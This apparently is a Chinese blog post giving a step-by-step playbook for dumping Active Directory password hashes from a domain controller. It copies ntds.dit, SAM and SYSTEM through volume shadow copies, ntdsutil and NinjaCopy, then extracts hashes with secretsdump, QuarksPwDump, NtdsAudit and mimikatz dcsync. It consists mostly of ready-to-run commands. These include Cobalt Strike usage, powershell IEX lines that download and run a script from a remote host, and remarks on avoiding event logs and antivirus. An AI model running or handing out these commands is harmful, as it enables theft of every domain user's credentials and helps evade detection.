首页 > 其他分享 >域内密码凭证获取

域内密码凭证获取

时间:2022-09-22 00:14:32浏览次数:64  
标签:quit 凭证 获取 Windows ntds 密码 dit 快照 NinjaCopy

成殇Orz1

0x00 活动目录数据库

  • 由ntds.dit文件构成
  • 默认存储在所有域控制器上的%SystemRoot%\NTSD文件夹中
  • 只能通过域控制器进程和协议访问
    ntds.dit:活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。

为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文 件与ntds.dit文件都需要拥有一个system文件。

由于Windows阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本。

NTDS.DIT	:	Windows\NTDS\NTDS.dit
SYSTEM		:	Windows\System32\config\SYSTEM
SAM			:	Windows\System32\config\SAM

PS : SAM存储当前主机用户密码哈希

​ NTDS.DIT存储这域内所有用户密码哈希

0x01 获取NTSD.DIT

Volume Shadow Copy Service

Volume Shadow Copy Service (VSS) 卷影复制服务是微软从 Windows XP 开始提供的用于创建一致性的时间 点副本(也就是快照)的服务框架。

  • 用于数据备份
  • 支持Windows Server 2003 及以上操作系统
  • 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间 无法确定
  • 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup

Ntdsutil

交互式:
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]	//copy 完之后再执行
unmout [GUID]
del [GUID]
quit
quit

非交互式:
ntdsutil snapshot "activate instance ntds" create quit quit				//创建快照
ntdsutil snapshot "mount {GUID}" quit quit								//挂载快照
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit					//复制ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit			//删除快照

Ntdsutil-InstallFromMedia

交互式:
ntdsutil
activate instance ntds
ifm
create full <Drive>:\<Folder>
quit
quit

非交互式:
ntdsutil "activate instance ntds" ifm “create full C:\ntds” quit quit

Vssadmin

vssadmin list shadows											//查询当前系统的快照
vssadmin create shadow /for=c:									//创建快照
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds2.dit													   //复制文件
vssadmin delete shadows /for=c: /quiet							//删除快照
vssadmin delete Shadows /All /quie								//删除快照

无法直接访问 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23中的文件

可通过创建符号链接访问快照中的文件:

mklink /d c:\test\ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\
rd c:\testvsc

Vshadow

Vshadow:是一个简单的指令行工具,它允许任何人创建卷影拷贝。系统默认不支持,可在Microsoft Windows Software Development Kit (SDK)中获得该工具。(不会被杀软杀)

vshadow.exe -q											//查询当前快照
vshadow.exe -p -nw C:									//创建快照
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit	//复制
vshadow.exe -dx=ShadowCopySetId							//删除
vshadow.exe -ds=ShadowCopyId
查询快照

创建快照

复制

NinjaCopy

通过NinjaCopy获得域控服务器NTDS.dit文件,没有调用Volume Shadow Copy服务,所以不会产生日志文件7036。

本地
set-executionpolicy Bypass							//修改powershell执行策略
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path C:\windows\ntds\ntds.dit -LocalDestination .\ntds.dit

cobaltstrike
powershell-import C:\Users\4600\Desktop\Invoke-NinjaCopy.ps1
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam.hive
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
c:\system.hive
powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit
远程加载
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip:port/InvokeNinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam1.hive

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip:port/InvokeNinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system1.hive

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip:port/InvokeNinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\ntds\ntds.dit -LocalDestination c:\ntds1.dit

0x02 解密ntds.dit

esentutl /p /o ntds.dit										//修复复制出来的数据库文件

QuarkPwDump

Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的 用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。

QuarksPwDump.exe --dump-hash-domain --output de1ay.com.txt --ntds-file ntds.dit

secretsdump

impacket 套件中的 secretsdump.py 脚本解密,速度有点慢

secretsdump.exe -sam sam.hive -security security.hive -system system.hive LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

NtdsAudit

NtdsAudit可以十分高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态。 将ntds.dit文件和SYSTEM文件放在同一目录下执行命令

NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-csv users.csv

mimikatz

使用Mimikatz的dcsync功能,可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。

lsadump::dcsync /domain:de1ay.com /user:mssql			//获取单个用户的详细信息
lsadump::dcsync /domain:de1ay.com /all /cvs				//获取所有用户
mimikatz lsadump::lsa /inject							//查看所有用户的详细信息

标签:quit,凭证,获取,Windows,ntds,密码,dit,快照,NinjaCopy
From: https://www.cnblogs.com/CShang/p/16717712.html

相关文章

  • MYSQL8.0 忘记密码
    1、关闭MySQL服务,以管理员身份运行cmd,输入netstopMySQL(服务名) 2、跳过权限验证,mysqld--console--skip-grant-tables--shared-memory3、以管理员身份运行cmd,新开一......
  • centos修改root密码
    1.开机时,在选择内核时按e  2.在linux16这行最后输入rd.breakconsole=tty0,进入系统   此时进入紧急模式 3.依次输入mount-oremount,rw/sysrootchroot......
  • java如何获取一个文本文件的编码(格式)信息呢?
    转自:http://www.java265.com/JavaJingYan/202110/16350332691561.html 文本文件是我们在windows平台下常用的一种文件格式,这种格式会随着操作系统的语言不同,而出现其......
  • uni-app 获取图片验证码
      <image:src="imgVerificationCode"@click="getVerificationCode"class="imageCode"></image>arrayBufferToBase64(buffer){ varbinary=''; ......
  • [javascript] js如何获取浏览器的语言
    当想要实现多语种时,需要获取浏览器的当前语言最直接的,就是访问浏览器内置的 navigator.language 属性:varlang=navigator.language 根据你的浏览器的设置,这段代码......
  • 【代码片段】Qt6.2.4 获取文件 MD5
    参考https://www.bilibili.com/video/BV14t411b7EL环境环境版本windows10QT6.2.4QtCreator8.0.1(Community)qmake代码段第一种一次性......
  • Python3 + selenium 获取疫情中高风险区数据
    背景:需要动态将疫情风险区数据和区域业务动作想结合,赋能销售业务,内部使用非商用哈环境:Python3+selenium自动化测试软件中Chrome驱动exe文件输出:以e......
  • Loadrunner获取登陆接口中的token值
    登录后,服务器会生成token并返回给客户端,之后客户端与服务器交互的操作中,服务器程序会对比这个token,正确则允许操作,否则拒绝客户端请求。在性能测试时,好多场景需要登录后才......
  • centos7 安装jq并获取meanResTime和throughput
    用jmeter性能测试之后会产生很多jtl,statistic文件,为了方便做excel表,需要自动读出吞吐率和平均响应时间。1.添加epel源yuminstallwgetwgethttp://dl.fedoraproject.......
  • JS 动态获取 Url 参数(封装函数)
     话不多说直接上代码:封装函数如下:(如果urls固定,可以只写一个name变量)getQueryString(name,urls){varurl=urls;//获取URL......